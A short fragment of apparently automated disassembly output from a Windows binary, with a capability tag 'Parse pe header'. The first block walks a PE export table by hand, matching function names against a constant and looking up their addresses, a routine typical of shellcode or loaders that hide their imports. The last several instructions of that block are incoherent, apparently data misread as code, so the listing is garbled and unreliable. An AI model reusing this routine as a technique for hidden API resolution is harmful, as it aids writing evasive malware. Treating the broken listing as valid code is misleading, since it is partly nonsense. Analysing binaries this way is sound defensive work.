mov r12d, dword [r13 + 0x20]
add r12, rcx
mov ebx, dword [r12]
add rbx, rcx
mov r11d, dword [rbx + 0xb]
sub r11d, 0x746365
test r11d, r11d
jne 0x140090b11
jmp 0x140090b1f
inc r12
inc r12
inc r12
inc r12
jmp 0x140090af5
mov r11d, dword [r13 + 0x20]
sub r12, r11
sub r12, rcx
loope 0x140090b6b
shr esp, 1
mov r11d, dword [r13 + 0x24]
add r11, r12
add r11, rcx
mov r12d, dword [r11]
mov r11d, dword [r13 + 0x1c]
and r12d, 0xffff
in al, 0xff
inc dword [rax]
add byte [rbx - 0x3f], al
in al, 2

Function at 0x14009ad7c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14009aea0